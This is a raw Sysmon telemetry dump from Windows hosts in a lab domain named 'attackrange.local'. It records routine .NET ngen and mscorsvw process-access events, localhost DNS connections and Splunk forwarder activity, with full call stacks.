14:43:53.815{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F29-613B-3408-00000000F001}5556C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.799{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F29-613B-3608-00000000F001}1664C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.784{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F29-613B-3608-00000000F001}1664C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.784{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F29-613B-3608-00000000F001}1664C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000039599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.559{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59213-false10.0.1.12-8000- 10341000x800000000000000039598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.549{7BD73061-6F1E-613B-3F07-00000000F001}66245708C:\Windows\system32\conhost.exe{7BD73061-6F29-613B-3508-00000000F001}7032C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.549{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F29-613B-3508-00000000F001}7032C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.549{7BD73061-6F1E-613B-3E07-00000000F001}38321644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe{7BD73061-6F29-613B-3508-00000000F001}7032C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.dll+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.DLL+35491|UNKNOWN(00007FF8E4D75A07) 10341000x800000000000000039595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.440{7BD73061-6F1E-613B-4007-00000000F001}70245644C:\Windows\system32\conhost.exe{7BD73061-6F29-613B-3408-00000000F001}5556C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.440{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F29-613B-3408-00000000F001}5556C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.440{7BD73061-6F1E-613B-3D07-00000000F001}52962756C:\Windows\Microsoft.NET\Framework\v4.0.30319\NGenTask.exe{7BD73061-6F29-613B-3408-00000000F001}5556C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.DLL+3d7ae(wow64)|UNKNOWN(0000000000FE4853)|UNKNOWN(0000000000FE4504)|UNKNOWN(0000000000FE52ED)|UNKNOWN(0000000000FE2845)|UNKNOWN(0000000000FE0F66)|UNKNOWN(0000000000FE0950)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+f066(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+1230a(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+185eb(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+199407(wow64) 23542300x800000000000000013783Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:54.718{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=331352B30263BCFFD66BA6E422849AC1,SHA256=339016A301A5F7178400487724939007D88ED29F950D3DFECD6CAF882EE9618C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.940{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3E08-00000000F001}5216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.924{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3E08-00000000F001}5216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.924{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3E08-00000000F001}5216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000039628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:52.011{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local59746- 354300x800000000000000039627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.982{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59746- 10341000x800000000000000039626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3D08-00000000F001}7004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.659{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3D08-00000000F001}7004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.659{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3D08-00000000F001}7004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.596{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3C08-00000000F001}4976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.581{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3C08-00000000F001}4976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.581{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3C08-00000000F001}4976C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3B08-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.534{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3B08-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.534{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3B08-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000039617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.471{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=60B310C88FEA49923226E53AEDA64F58,SHA256=B3B419B8BFA1AAD76B861BA3D0305793B4CDD66AD1629AD48AFCF456A36944BA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.456{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3A08-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.440{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3A08-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 